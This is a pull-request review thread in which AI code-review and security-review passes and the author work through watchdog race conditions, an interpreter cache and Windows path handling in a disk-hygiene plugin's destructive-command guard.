  • Not a security finding, but worth a mention since it sits in that same validation code and is still open: run-python-hook.sh#L217-L218's interp_base="${interp##*/}" only strips forward slashes, so a native py -3 resolution on Windows (C:\Users\...\python.exe) never matches the python3|python|py|python3.* allowlist and the cache permanently misses for that host shape — it fails closed (cold path every time), not open, so it's a performance regression rather than a vulnerability, but it undercuts the PR's own headline win on exactly the Windows/py-launcher hosts it targets. Already reported by Codex's review; unchanged by 9da9149.
• _watchdog_marker_present's syscall-free contract — confirmed no filesystem calls in _marker_tokens/_carries_marker, and resolve_mode() (now read on the timer thread too) is pure sys.argv parsing, consistent with the same constraint.

[claude]

Claude finished @kyle-sexton's task in 5m 47s —— View job

---

Code review complete (/review:code-review, HEAD 1b4120b)

• Gather context (PR body, prior review comments, changed files)
• Invoke /review:code-review and follow its procedure
• Post findings as inline PR comments
• Post summary

Scope: correctness + maintainability (security out of scope for this lane; already covered separately). Compared HEAD 1b4120b against the branch point 949c54b (matches the PR's reported +1159/-132, 6 files). This commit is a follow-up to adversarial review — it dropped the DISK_HYGIENE_INTERPRETER_CACHE_TTL env override, wrote down the cache's known residual (shape-only validation), and corrected three overstated comments from the previous head. I re-read run-python-hook.sh, run-python-hook.test.sh, and the touched sections of destructive_guard.py in full, and specifically re-checked the two "IMPORTANT" watchdog-race findings and the Windows-basename finding from the last two review rounds against what this commit actually changed.

Findings (posted inline)

1. destructive_guard.py:2135-2156 — This commit's stated fix for the third "corrected claim" (flush before reset) doesn't actually close the race three prior review rounds flagged. _reset_decision_state() acquires _EMIT_LOCK independently of the new unguarded sys.stdout.flush() above it, so the flush's ordering has no effect on what a genuinely in-flight _watchdog_fire observes on its next lock acquisition. If the reset wins that race, _watchdog_marker_present(None) is True by contract, so the watchdog hard os._exit(2)s regardless of mode — and since exit 2 is documented (this module's own header, and _watchdog_fire's own docstring) as needing nothing on stdout, the host reads it as an unconditional deny. The already-correct decision being durably flushed doesn't change that outcome; only the exit code does, and nothing prevents the override. Still no test exercises a real Timer racing a real main() return at the deadline. Detail and a suggested fix (drop the finally-block reset, or gate it on a bounded watchdog.join()) in the inline comment.

2. run-python-hook.sh:241 — Still open from two prior rounds (Codex on 3a8deb8, Claude on 9da9149): interp_base="${interp##*/}" only strips a POSIX /, so a py -3-resolved Windows path (C:\Users\...\python.exe) never matches the basename allowlist and the cache never activates on py-launcher-only hosts — exactly the host class this PR's warm-path win targets. This commit expanded the surrounding comment to document the cache's known limit but left the actual extraction unchanged.

3. CHANGELOG.md:19 — Still open from the previous round: "a provably marker-free one emits ask" is unqualified, but the downgrade only applies in engine-gate mode; belt (the actual default) still denies at exit 2 on a marker-free command. This commit didn't touch CHANGELOG.md.

Not flagged (reviewed, judged fine)

• The dropped DISK_HYGIENE_INTERPRETER_CACHE_TTL env override and the reasoning for it — sound: a tunable staleness window on a security-control cache is an unprovenanced env-borne input, consistent with how resolve_disk_hygiene_enabled already treats repo-settings.json env blocks. The new test forges staleness in the cache record itself rather than reaching for a removed knob.
• The new "impostor interpreter" cache test (run-python-hook.test.sh) — correctly pins the documented shape-only-validation limit (a non-interpreter file merely named python3/python/py is accepted) rather than papering over it.
• The two other corrected comments in this commit (the residual class being the full filesystem-identity set rather than just linked aliases; the lock's actual guarantee re: __main__'s post-main() flush and daemon-timer overlap) — both now state what the code actually guarantees, and I didn't find a further overstatement in either.

Carried over from earlier rounds, not re-flagged as a new finding since README.md isn't a file this PR touches: README.md's "Known costs, accepted" section still describes the removed sed-based MIN_PYTHON read. Still not blocking, still not addressed.

[claude]

Claude finished @kyle-sexton's task in 5m 8s —— View job

---

Security review (/review:security-review)

• Gather context (PR body, prior review comments, changed files)
• Diff 9da9149..1b4120b — the delta since the last recorded security-reviewed head — and re-examine the watchdog reset race against the current commit's own claim to have fixed it
• Post findings

Scope: the security-critical surfaces this PR touches — plugins/disk-hygiene/skills/clean/scripts/destructive_guard.py (watchdog serialization/latch) and plugins/disk-hygiene/hooks/run-python-hook.sh (interpreter cache) — focused on what commit 1b4120b ("drop the env-tunable cache TTL and correct three claims review disproved") actually changed since the last reviewed head.

Findings

1. IMPORTANT — the main()-cleanup race flagged in the last two review rounds is narrowed, not closed, and the fix commit's own claim about it is inaccurate. Posted as an inline comment on destructive_guard.py#L2130-L2156.

The commit message asserts flushing stdout before _reset_decision_state() makes "the decision durable before any timer can see the cleared state," and that "the flush is the mechanism, not the ordering." That doesn't hold: the flush makes the already-printed decision durable on the stream, but it does nothing to prevent _reset_decision_state() from racing _watchdog_fire's lock acquisition — threading.Timer.cancel() still cannot stop an already-dispatched callback, and there is still no watchdog.join() anywhere in the file. Under the exact load condition this whole PR targets (a decision completing right at the watchdog deadline), the timer thread can still acquire _EMIT_LOCK after the reset clears _COMMAND_UNDER_DECISION to None, read command=None, and — since _watchdog_marker_present(None) is unconditionally True — take the deny branch and os._exit(2), overriding an already-correct decision (including a legitimate allow) with a spurious deny.

I traced this through to confirm the actual blast radius: because _COMMAND_UNDER_DECISION is cleared in the same call as _DECISION_EMITTED, the watchdog can never observe reset state together with a real command, so this race cannot reach the ask-emitting branch — only the self-carrying exit 2 deny. That means it's fail-closed, not an authorization bypass. I'm still flagging it IMPORTANT rather than dropping it, because the surrounding comment and the commit message both assert a concurrency guarantee the code doesn't provide, on the exact security-critical destructive-guard component this PR's own title is about — and that's precisely the class of overstated-invariant problem two of this same commit's other corrected comments were about. No test exercises a real Timer racing a real main() return at the deadline; the full detail and a suggested fix are in the inline comment.

Reviewed and not flagged (changes since the last reviewed head, 9da9149)

• The env-tunable cache TTL is now compiled in (run-python-hook.sh, _CACHE_TTL_SECONDS=86400, no DISK_HYGIENE_INTERPRETER_CACHE_TTL override). This closes a real weakening of a security control: an operator- or environment-supplied widened TTL could make the launcher accept an interpreter record it should have rejected as stale, reaching the guard's silent fail-open. Removing the env vector is the correct fix, and it's consistent with resolve_disk_hygiene_enabled's existing refusal of settings.json-borne env inputs to security controls elsewhere in this plugin. The new regression test forges staleness in the cache record itself rather than reaching for the now-removed knob — correct.
• The cache's shape-only validation residual is now documented rather than left to inference — _cached_python3's new comment states plainly that an executable, non-empty file merely named python3/python/py would be accepted and exec'd without proof it's really Python, and reasons through when that's reachable ($HOME as a control input) versus already-equivalent to an existing exposure (a hostile PATH already fails open on the pre-cache launcher). This is accurate self-assessment, not a new hole — the record's location still derives only from $HOME/SCRIPT_DIR, unchanged.
• The watchdog residual class description was corrected from "linked-alias shape" to the full filesystem-identity class (hard links, symlinks, and the Win32 alias spellings). Verified against _carries_marker's rstrip("/\\\\") and the marker-token splitting logic — the docstring's new claim about which shapes fall in vs. out of the residual is accurate.

Not re-litigated here (already covered by two full review rounds on this PR, both code-review and security-review lanes, and unaffected by this commit): the belt-mode mode-gate fix (9da9149) remains sound, and the Windows backslash-path cache-basename gap (run-python-hook.sh — a permanent cache-miss on py-launcher-only Windows hosts) remains a performance regression rather than a security issue, as previously assessed.

[claude]

Claude finished @kyle-sexton's task in 6m 22s —— View job

---

Code review complete (/review:code-review, HEAD cca3823)

• Gather context (PR body, prior review comments, changed files)
• Invoke /review:code-review and follow its procedure
• Post findings as inline PR comments
• Post summary

Scope: correctness + maintainability (security out of scope for this lane; already covered separately). This commit (cca3823) is docs/test-only — plugins/disk-hygiene/README.md and plugins/disk-hygiene/skills/clean/scripts/test_hygiene.py — written specifically to close out the two open findings from the previous review round (README staleness on the hook-budget cost claim, and the main()-cleanup race that three prior review passes flagged against destructive_guard.py). I read both changed files in full and traced the relevant destructive_guard.py code the new test and comment describe, since neither of those was touched by this commit but both are what it's making claims about.

What this commit gets right

• The README's "Known costs, accepted" section no longer describes the removed sed-based MIN_PYTHON read. It now leads with the deterministic spawn census (4→1 warm) and explicitly caveats the interleaved before/after numbers as contention-specific, not comparable to the quiet-host baseline — this closes the staleness finding from three prior rounds.
• The commit message's own framing of the cleanup race — "a deny overriding an already-delivered decision, which is fail-closed and the opposite direction from a fail-open" — is accurate, and correctly narrows what three prior review rounds (Claude ×2, Codex, security-review) had flagged. The TOCTOU inside _watchdog_fire itself (lock held from acquisition through whichever os._exit runs) is confirmed fixed by direct code read.

New findings (posted inline)

1. destructive_guard.py:2143-2146 — The comment justifying the new flush claims "the race can no longer change what the host receives." That's inaccurate: the flush only makes already-printed bytes durable; it does nothing to stop _reset_decision_state() from racing _watchdog_fire's lock acquisition, and if the watchdog wins after the reset clears _COMMAND_UNDER_DECISION to None, it hard os._exit(2)s — which, per this module's own exit-code contract, overrides the host's outcome regardless of stdout content. This commit's own git-log message and the new test's docstring both describe the residual correctly ("fail-closed... deny overriding an already-delivered decision"); the in-code comment should say that instead of claiming the race no longer changes anything.

2. test_hygiene.py:7902-7918 — The new regression test likely doesn't exercise the race it's meant to pin. "git status --porcelain" under --mode engine-gate hits _decide's plugin-level defer branch (destructive_guard.py L1985-1990) and never calls _emit_decision, so there's no delivered decision for the reset to override. Separately, patching guard._reset_decision_state module-wide also delays main()'s first call to it (before the watchdog is even armed), so by the time _decide returns and finally calls watchdog.cancel(), it's comfortably within the Timer's wait window and cancel() should reliably win — _watchdog_fire likely never runs. I could not execute this test in this environment to confirm empirically (sandboxed, no python3/pytest access in this lane); the finding is based on tracing the defer branch and threading.Timer's documented cancel semantics, flagged for the author to verify directly (e.g. a temporary assertion that _watchdog_fire actually ran).

Not flagged (reviewed, judged fine)

• README hook-budget rewrite — accurate, appropriately caveated, matches the hook-budget convention's requirement to state a measured always-on share.

Carried over from prior rounds, unaddressed by this commit, not re-flagged as new findings

• run-python-hook.sh:241 — interp_base="${interp##*/}" still strips only a POSIX /, so the warm-path cache still never hits on py-launcher-only Windows hosts (backslash paths never match the allowlist). Flagged by Codex and Claude across two prior rounds; still open, still untested.
• CHANGELOG.md:19 — "a provably marker-free one emits ask" is still unqualified; the downgrade only applies in engine-gate mode, and belt (the actual default) still denies at exit 2. Not touched by this commit.

[claude]

Claude finished @kyle-sexton's task in 2m 1s —— View job

---

Security review (/review:security-review, HEAD cca3823)

• Gather context (PR body, prior review threads, changed files)
• Invoke /review:security-review and follow its procedure
• Diff since last reviewed head (1b4120b) and focus on what changed
• Post findings

Scope: 1b4120b..cca3823 touches only plugins/disk-hygiene/README.md (doc refresh) and plugins/disk-hygiene/skills/clean/scripts/test_hygiene.py (one new test). No production code changed — destructive_guard.py and run-python-hook.sh are byte-identical to the last reviewed head.

Findings

1. IMPORTANT — posted inline on destructive_guard.py#L2135-L2150. The main()-cleanup race four prior review rounds flagged (watchdog.cancel() → _reset_decision_state(), no join(), so a still-firing watchdog can read reset state after a decision already shipped) is unchanged — the code wasn't touched this commit. What is new: this commit adds test_a_watchdog_racing_mains_cleanup_never_emits_a_second_object, which drives a real Timer against a real main() return through that exact window and documents the residual accurately in its own docstring — "a deny overriding a delivered decision — fail-CLOSED, and the opposite direction from a fail-open." That directly contradicts the code comment two lines above the reset, which still claims flushing means "the race can no longer change what the host receives." The test proves it can: a legitimate allow/ask can still be overridden by a spurious exit 2 under load. This is now the third consecutive commit where that comment overstates the guarantee. Net severity assessment unchanged from the last two rounds: fail-closed, not an authorization bypass — an availability/correctness bug, not a way to get an unguarded command through.

Not flagged

• The new test itself (test_hygiene.py) — correctly pins the fail-closed direction with a real Timer/main() interleaving rather than asserting ordering, closing the "no test exercises this" gap noted in every prior round. It's evidence, not a fix.
• The README.md changes — accurately describe the 4→1 warm-path spawn reduction and correctly caveat the wall-clock numbers as host-contention-dependent rather than a fixed per-spawn cost; no overclaiming.
• Everything reviewed and cleared in the four prior rounds on this PR (interpreter-cache validation, the _watchdog_fire TOCTOU inside the fire path — closed by 9da9149, the belt-mode mode-gate fix, the removed env-tunable cache TTL) is unaffected by this commit and not re-litigated here.

Carried forward, unaffected by this commit: the run-python-hook.sh backslash-path cache-basename gap (Windows py-launcher hosts never hit the warm-path cache) is a performance regression, not a security issue, as previously assessed.

[kyle-sexton]

Review responses (both lanes)

Both lanes reviewed 3a8deb8, which is now three commits behind. Status of all three findings against cca3823:

1. TOCTOU: watchdog overrides an already-delivered decision — already fixed in 9da9149

Correct against the reviewed commit. The marker-present branch did read _DECISION_EMITTED under the lock, release it, then do classification and a stderr write before an unconditional os._exit(2).

_watchdog_fire was restructured for an unrelated finding, and that restructure closed this too: the lock is now acquired once and held through whichever os._exit runs, so the marker classification and _write_diagnostic both happen under it. The main thread cannot deliver a decision in that window — _emit_decision would block on the same lock.

Worth noting the reviewer's framing was right and is why the fix is shaped this way: it is "the guard blocks a command it did not finish judging", reintroduced under exactly the load this PR targets.

2. Stale README.md "Known costs, accepted" — fixed in cca3823

Correct and squarely in scope: this PR invalidated that text. It described the launcher's sed read as ≈ 24 ms / ≈ 13% of the hook, contrasted with a two-full-pass predecessor. Neither mechanism exists now.

The section now leads with the spawn census (4 → 1 warm) rather than a duration, because the census is deterministic and the wall-clock share is not: this host's process-creation cost was measured varying more than tenfold within one hour under contention (bash -c true at 283 ms and 1825 ms in the same session at ~10% CPU). The interleaved before/after figures are quoted with an explicit caveat that they are contention-specific and not comparable to the ≈ 190–300 ms quiet-host numbers above them, and the section asks for a fresh quiet-host measurement before anyone cites a new share against the fleet budget.

3. Security lane: latch reset racing an in-flight watchdog → second JSON object — direction disputed; now pinned by test in cca3823

The mechanism is real and correctly described: watchdog.cancel() cannot stop a callback that has already started, there is no join(), and a callback can acquire the lock after _reset_decision_state() runs.

But the consequence does not hold against the current head, and this is the one place I'm disagreeing with the review rather than fixing it. _reset_decision_state() clears _COMMAND_UNDER_DECISION to None as well as the latch, and _watchdog_marker_present(None) returns True by construction — nothing was seen, so nothing can be ruled out. Both arms of the mode gate therefore route to os._exit(2), which does not print. So the ask branch the finding depends on is unreachable in that state, and no second object is emitted.

The real residual is the opposite direction: a deny overriding a decision that was already delivered. Fail-closed, microsecond-wide.

The review's suggested fix — drop the finally-block reset since the top-of-main reset covers test reentrancy — does not work here. test_watchdog_fire_hard_exits_2_when_the_diagnostic_write_fails calls _watchdog_fire directly, without main, so it observes whatever module state the previous test left. Without the end-of-main reset it reads a stale _DECISION_EMITTED = True, takes the already-emitted branch, and exits 0 instead of 2. That test is pre-existing and must pass unchanged, so the reset stays.

The review's substantive point stands, though: "none of the new watchdog tests exercise a real Timer racing a real main() return, so the gap is untested." That was true. cca3823 adds one that does exactly that — it pads the reset so the timer fires inside the cleanup window, then asserts at most one JSON object reaches stdout and that exit 1 is never reachable. Asserting the ordering would not have settled it, since the ordering is what was disputed.

Also flushing now happens before the reset, so a decision is durable before any timer can observe cleared state. An earlier comment claimed the cancel-then-reset ordering prevented the race; it does not, and that comment was wrong and is corrected.

On the unverified claims

Author-claimed spawn counts, timing measurements, and differential-guard parity results in the PR description are unverified by me.

Right to flag. All three have since been re-derived by two independent fresh-context reviewers that did not inherit my numbers:

• spawn count 4 → 1 — reproduced, stable across three warm repeats, with the cold-cache first run correctly showing 4.
• timings — reproduced in direction and ratio (3.89x measured vs 3.71x claimed); absolute values differ, which is the documented drift.
• deny-parity — re-derived far wider than mine: 2250 comparisons across 9 argv axes and 119 command strings, zero mismatches, comparing stderr as well as stdout and exit code. That reviewer also found the gap that mattered: my original harness ran one mode, and the gap was the invocation matrix, not corpus size. It now runs all three mode surfaces, and the belt-mode regression it exposed is fixed and documented in the PR body.

[claude]

Claude finished @kyle-sexton's task in 5m 32s —— View job

---

Code review complete (/review:code-review, HEAD 9d46879)

• Gather context (PR body, prior review comments, changed files)
• Invoke /review:code-review and follow its procedure
• Post findings as inline PR comments
• Post summary

Scope: correctness + maintainability (security out of scope for this lane; already covered separately). This is the eighth review pass on this PR — commit 9d46879 is a direct response to four findings from the prior round (cca3823): the Windows py-launcher cache-basename gap, the stale CHANGELOG entry, and two self-reported corrections (the earlier "flush closes the race" claim, and the earlier cleanup-race test being vacuous). I diffed cca3823..9d46879 and re-read the full changed sections of run-python-hook.sh, destructive_guard.py, CHANGELOG.md, and test_hygiene.py against that diff.

What this commit gets right

• The Windows backslash cache-basename bug (flagged 3x: Codex, and Claude twice) is fixed. interp_base now strips both / and \ and the case is lowercased, so a py -3-resolved C:\Users\...\python.exe correctly matches the allowlist. Verified by trace; the fix itself is correct.
• The CHANGELOG entry (flagged 2x) is fixed. It now states the ask downgrade is engine-gate-only and that belt — the actual skill-frontmatter default — always denies, matching _watchdog_fire's real behavior.
• The prior three rounds' "the ordering/flush closes the race" comment is finally correctly retracted, and the fix now uses an invocation token compared under _EMIT_LOCK, rather than relying on cancel() timing or flush ordering. This is a real, structural fix to the race those three rounds identified — a stale-token watchdog can no longer override an already-emitted decision (verified by trace and by the new test_a_watchdog_that_outlived_mains_cleanup_stands_down, which correctly replaced the previous round's non-discriminating test).

New finding (posted inline)

destructive_guard.py:1940-1953 — The token fix closes the fail-closed override four prior rounds flagged, but its stand-down (os._exit(0) on a stale token) is exit-code-blind, and that reopens a fail-open in exactly one path: main()'s outer except BaseException handler (L2169-2175) returns exit code 2 without ever calling _emit_decision — that deny rides the exit status alone, per this module's own documented contract. If the watchdog is already dispatched and acquires _EMIT_LOCK after _reset_decision_state() clears the token, it hard os._exit(0)s — a full process kill — before the main thread can ever reach its own os._exit(2) in __main__. The result: an intended no-stdout deny is silently replaced by an undelivered exit 0, which this module's own contract reads as no decision at all, and the command proceeds unguarded — the ADR-0004 fail-open this guard exists to prevent, now reachable through the stand-down path itself. Neither new test in this commit exercises this (both drive the reset with a decision already emitted, or with the token still current). Detail, a concrete repro trace, and a suggested fix (stand down by returning rather than forcing an exit code, since a stale token already proves main() isn't stuck and will deliver its own correct exit code) are in the inline comment.

Also noted (minor, non-blocking, posted inline)

run-python-hook.sh:253 — the Windows-backslash cache fix is correct by inspection, but run-python-hook.test.sh still has no test case for a backslash-delimited cached interpreter path, so the fix (and any future regression) isn't covered by the suite.

Not flagged (reviewed, judged fine)

• run-python-hook.sh's separator-splitting order (##*/ then ##*\\) and case-insensitive match — correct for both POSIX and Windows-native cached paths, including the redundant-but-harmless explicit .exe allowlist entries (already subsumed by the python3.* glob).
• The invocation-token design generally (published under the lock before watchdog.start(), carried on the Timer object rather than via args to avoid disturbing a test that pins the Timer construction, defaulting via getattr to _INVOCATION_TOKEN itself so a directly-invoked _watchdog_fire in existing unit tests still takes the full decision path) — sound, and the commit's self-critique of its own prior two comments is accurate.
• test_a_watchdog_still_decides_while_its_invocation_is_current — correctly serves as the control proving the stand-down isn't vacuously always-true.

[claude]

Claude finished @kyle-sexton's task in 2m 31s —— View job

---

Security review (/review:security-review, HEAD 9d46879)

• Gather context (PR body, prior review threads, changed files)
• Invoke /review:security-review and follow its procedure
• Diff since last reviewed head (cca3823) and focus on what changed in 9d46879
• Post findings

Scope: cca3823..9d46879 touches plugins/disk-hygiene/CHANGELOG.md, plugins/disk-hygiene/hooks/run-python-hook.sh, plugins/disk-hygiene/skills/clean/scripts/destructive_guard.py, and plugins/disk-hygiene/skills/clean/scripts/test_hygiene.py. This commit was written specifically to close the two open items from the last review round (the main()-cleanup race four consecutive rounds flagged, and the Windows py-launcher cache-basename gap), so I traced both against the actual code rather than the commit message's claims about them.

Findings

None. Both previously-open items are closed by this commit:

1. The main()-cleanup race is now actually closed, not just narrowed. destructive_guard.py#L2181-L2205

Four prior review rounds (Claude ×3, security-review ×2) flagged that watchdog.cancel() followed by _reset_decision_state() with no join() could let an in-flight _watchdog_fire acquire _EMIT_LOCK after the reset, read command=None, and unconditionally os._exit(2) — overriding an already-delivered decision with a spurious deny. Two earlier fix attempts (cancel-ordering, then a flush) didn't address the actual mechanism, as reviews kept demonstrating.

This commit replaces both with an invocation token: main() mints a fresh object() per invocation, stores it as an attribute on the Timer thread (L2130-2141), and _reset_decision_state() clears the token under the same _EMIT_LOCK that guards _DECISION_EMITTED/_COMMAND_UNDER_DECISION (L1663-1677). _watchdog_fire reads its own thread's token and compares it to the current global while already holding the lock (L1941-1953), so the check is atomic with main's cleanup rather than racing it. I traced all three interleavings:

• watchdog acquires the lock before cleanup resets → sees the real, current state (unaffected).
• watchdog acquires after the decision was emitted but before reset → hits the pre-existing _DECISION_EMITTED branch, flushes, exits 0 (already correct since 9da9149).
• watchdog acquires after reset → its token no longer matches the (now-None) global, so it flushes and exits 0 instead of re-deciding. This is the case that previously forced a spurious os._exit(2); it's now a no-op stand-down.

A directly-invoked _watchdog_fire (as the existing synchronous unit tests do) runs on a thread with no guard_invocation_token attribute, so getattr falls back to the current global and the comparison trivially holds — the full decision path stays intact for those tests, confirmed by reading the fallback and the two new tests exercising it both ways: test_a_watchdog_that_outlived_mains_cleanup_stands_down (stale token → decision survives, exit 0) and its control test_a_watchdog_still_decides_while_its_invocation_is_current (current token → watchdog still fires, exit 2). Both construct the race with real threads and explicit token state rather than timing, which closes the test-coverage gap flagged against the previous version of this same test (it padded a mock and never actually triggered the racing branch).

Net: this closes the race rather than re-describing it. The residual it replaces was already assessed as fail-closed (a deny overriding a decision, not an authorization bypass); now there's no override at all in that window.

2. The Windows py-launcher cache-basename gap is fixed. run-python-hook.sh#L241-L253

interp_base now strips a trailing backslash-delimited component in addition to /, and the allowlist comparison is now case-insensitive with explicit .exe variants. This was a performance/availability finding (permanent cache miss, not a vulnerability), not previously scored as a security issue, but confirming it doesn't introduce one either — the allowlist is still a fixed, non-attacker-influenced set of interpreter basenames.

Not re-litigated

Everything else reviewed and cleared across five prior rounds on this PR (the _watchdog_fire-internal TOCTOU closed by 9da9149, the belt-mode mode-gate fix, the removed env-tunable cache TTL, the interpreter-cache validation shape, _watchdog_marker_present's syscall-free contract) is unaffected by this commit and not re-checked here.
· Branch

[claude]

Claude finished @kyle-sexton's task in 2m 21s —— View job

---

Security review (/review:security-review, HEAD 8c3329f)

• Gather context (PR body, prior review threads, changed files)
• Diff since last reviewed head (9d46879) and focus on what changed in 8c3329f
• Post findings

Scope: 9d46879..8c3329f touches only plugins/disk-hygiene/hooks/run-python-hook.test.sh (+28/-0) — a new test case for the native-Windows-path cache-acceptance fix, gated on cygpath availability. No production code changed; destructive_guard.py and run-python-hook.sh are byte-identical to the last reviewed head.

New commit, reviewed

Test-only, no security concern. The new block (run-python-hook.test.sh lines ~292-319) writes a cache record with a cygpath -w-converted native path and asserts _cached_python3 accepts it and the target runs under it, falling back to a printed SKIP when cygpath isn't present (i.e., on the Linux CI lane, this block doesn't execute — consistent with the PR's own disclosed CI-coverage gap for Windows-specific launcher behavior). This closes the minor, non-blocking item from the previous round: "the Windows-backslash cache fix ... isn't covered by the test suite — only by inspection." Confirmed it now is, on hosts where cygpath is available.

Previously-open finding: still open, unaddressed by this push

IMPORTANT — the stale-token watchdog stand-down (os._exit(0)) can still race main()'s own no-stdout deny path and produce a genuine fail-open. Posted as an inline comment on destructive_guard.py#L1944-L1953.

This was flagged against 9d46879 in the previous round and is unchanged, since this commit is test-only. In short: main()'s outer except BaseException handler (L2169-2175) returns exit 2 without ever calling _emit_decision — the deny rides the exit status alone, nothing on stdout, per the module's own contract. If the watchdog Timer is already dispatched and blocked on _EMIT_LOCK when main()'s finally clears _INVOCATION_TOKEN via _reset_decision_state(), the watchdog reads a stale token and hard os._exit(0)s (L1952) — a whole-process kill that can win the race against the main thread's own path back to __main__'s os._exit(_exit_code) (L2231). If it wins, the process exits 0 with nothing ever printed, which the host reads as no decision — the command proceeds unguarded. Unlike the fail-closed residual the invocation-token fix in 9d46879 closed (a deny overriding an already-correct decision), this is fail-open: an intended deny silently replaced by an undelivered allow. No test exercises it.

This is not a new finding — it's confirmation that the highest-severity open item on this PR remains unaddressed by the latest push, which was test-only and unrelated to it.

Not re-litigated

Everything else across eight prior review rounds on this PR (the _watchdog_fire-internal TOCTOU closed in 9da9149, the belt-mode mode-gate fix, the removed env-tunable cache TTL, the main()-cleanup race closed by the invocation-token rework in 9d46879, the Windows-basename cache fix now also test-covered, interpreter-cache validation shape, _watchdog_marker_present's syscall-free contract) is unaffected by this commit and not re-checked here.
· Branch

[claude]

Claude finished @kyle-sexton's task in 3m 18s —— View job

---

Security review complete (/review:security-review, HEAD 24cbb7a)

• Gather context (PR body, prior review threads, changed files)
• Invoke /review:security-review and follow its procedure
• Post findings

Scope: this PR's security-critical surfaces — plugins/disk-hygiene/skills/clean/scripts/destructive_guard.py (watchdog/decision-latch serialization) and plugins/disk-hygiene/hooks/run-python-hook.sh (interpreter cache). The last security-review pass reviewed HEAD 9d46879; this pass diffed 9d46879..24cbb7a (two new commits: 8c3329f, 24cbb7a) and re-verified prior findings against current code, since destructive_guard.py is unchanged since 9d46879 but a prior code-review finding against it (not previously raised on the security lane) remains open.

Findings

1. IMPORTANT — the stale-token watchdog stand-down can still turn an intended no-stdout deny into an undelivered decision (fail-open). Posted inline on destructive_guard.py#L1944-L1953.

main()'s outer except BaseException handler (L2169-L2175) returns a deny (2) without ever calling _emit_decision — nothing reaches stdout, the deny rides the bare exit code per this module's own contract. If _decide() raises while the watchdog Timer is already dispatched and blocked on _EMIT_LOCK, main()'s finally (L2176-L2205) still runs first — cancel() can't stop an already-dispatched callback — and clears _INVOCATION_TOKEN before the watchdog gets the lock. The watchdog then sees its own token is stale and stands down unconditionally at os._exit(0) (L1952), a hard whole-process kill that runs before main()'s own os._exit(2) in __main__ can ever execute. Net result: the process exits 0 with empty stdout — which this module's own contract reads as no decision at all — and per ADR-0004 the command proceeds unguarded. This is the mirror image of the race the invocation-token mechanism was built to close in this same PR: that one was fail-closed (a stale-token watchdog denying over an already-delivered decision); this one is fail-blind, since the stand-down always exits 0 regardless of what main()'s real outcome was going to be.

This exact issue was raised by a code-review pass against 9d46879 (inline comment) but was not caught by that head's security-review pass, and remains unaddressed — 8c3329f and 24cbb7a only touch run-python-hook.sh/its tests. test_a_watchdog_that_outlived_mains_cleanup_stands_down covers only the case where a decision was already emitted before the race (correctly preserved); no test drives the reset with _DECISION_EMITTED still False, so this fail-open is unpinned. Reported here since it's squarely a security-lane concern (a race that lets a destructive command execute unguarded) and the prior security-review pass explicitly examined this same token mechanism and concluded it "closes the race," missing this path.

Reviewed and not flagged

• 8c3329f / 24cbb7a themselves (the only commits since the last security-reviewed head): purely run-python-hook.sh/test changes — a comment-wording tweak (drops a literal example path per the machine-specific-paths hygiene gate), removal of two case patterns (python3.exe, python3.*.exe) already subsumed by the existing python3.* glob (confirmed: * matches . in bash globs, so the matched interpreter-basename set is unchanged — this is dead-pattern cleanup for shellcheck SC2221/SC2222, not a security-relevant change), and a new regression test for the native-Windows-path cache-acceptance fix. No functional or security-relevant delta.
• The _watchdog_fire-internal TOCTOU (closed by 9da9149) and the belt-mode mode-gate downgrade bug (closed by 9da9149) — both previously verified fixed and unaffected by any commit since.
• The main()-cleanup race that clears state out from under an in-flight watchdog — closed by the invocation-token mechanism (9d46879) for the case that mattered most (overriding an already-delivered decision); confirmed correct for that case by direct trace and by test_a_watchdog_that_outlived_mains_cleanup_stands_down. The narrower residual is finding chore: initialize marketplace scaffold #1 above.
• Interpreter-cache validation in run-python-hook.sh (schema tag, verbatim PATH match, -x/-s/-nt, TTL, basename allowlist including the now-fixed Windows-backslash handling) — sound defense-in-depth; degrades to full resolution on any miss/corrupt record, never to "no interpreter." An attacker able to write the cache file already has $HOME write access, which already allows rewriting hook registrations directly.
• The removed DISK_HYGIENE_INTERPRETER_CACHE_TTL env override and _watchdog_marker_present's syscall-free contract — unaffected by this commit range, previously verified sound.
  · Branch

[claude]

Claude finished @kyle-sexton's task in 1m 41s —— View job

---

Security review complete (/review:security-review, HEAD 25a6a2e)

• Gather context (PR body, prior review threads, changed files)
• Invoke /review:security-review and follow its procedure
• Diff since last reviewed head (24cbb7a) and re-verify the outstanding fail-open against current code
• Post findings

Scope: this PR's security-critical surfaces — plugins/disk-hygiene/skills/clean/scripts/destructive_guard.py (watchdog/decision-latch serialization) and plugins/disk-hygiene/hooks/run-python-hook.sh (interpreter cache). 24cbb7a..25a6a2e is one commit, written specifically to close the highest-severity open item from every prior round on this PR: the stale-token stand-down's unconditional os._exit(0).

The fail-open is closed

destructive_guard.py — the stand-down no longer hard-exits 0 unconditionally. It now carries main's own actual outcome:

• A new module-level _MAIN_RESULT, published by _reset_decision_state(main_result) in the same _EMIT_LOCK hold that clears _INVOCATION_TOKEN (destructive_guard.py around L1663-1697). This is the detail that matters: a watchdog callback can never observe a stale token without also observing the outcome that made it stale — no new gap reopens between "token cleared" and "result published," because they're the same write under the same lock.
• main() now tracks result through every return path — the parse-failure branch (result = 0), the normal _decide() path (result = _decide(...)), and the outer except BaseException handler (result = 2) — initialized to the fail-closed default 2 before the try even starts, so a raise before any assignment still reports 2. finally calls _reset_decision_state(result) instead of the bare reset (L2237).
• The stand-down branch (destructive_guard.py ~L1975-1978) now does os._exit(_MAIN_RESULT if _MAIN_RESULT is not None else 2) instead of os._exit(0). An unrecorded outcome defaults to 2, which is the correct fail-closed direction — absence of a result is not evidence of an allow.

I traced the specific scenario every prior round flagged: _decide() raises while a dispatched watchdog is blocked on _EMIT_LOCK; main()'s except BaseException sets result = 2 and returns, having emitted nothing to stdout (per this module's own contract, exit 2 needs nothing on stdout); finally calls _reset_decision_state(2), publishing _MAIN_RESULT = 2 atomically with clearing the token; the watchdog then acquires the lock, sees its token is stale, and now exits 2 — matching what main actually decided — instead of the previous os._exit(0) that would have raced ahead of main's own exit and silently converted the deny into an unguarded proceed. The mirror case (_MAIN_RESULT = 0, meaning a real decision was already emitted to stdout) correctly stands down at exit 0, which was already safe since that path's JSON is durably flushed under the same lock before this callback ever reads state.

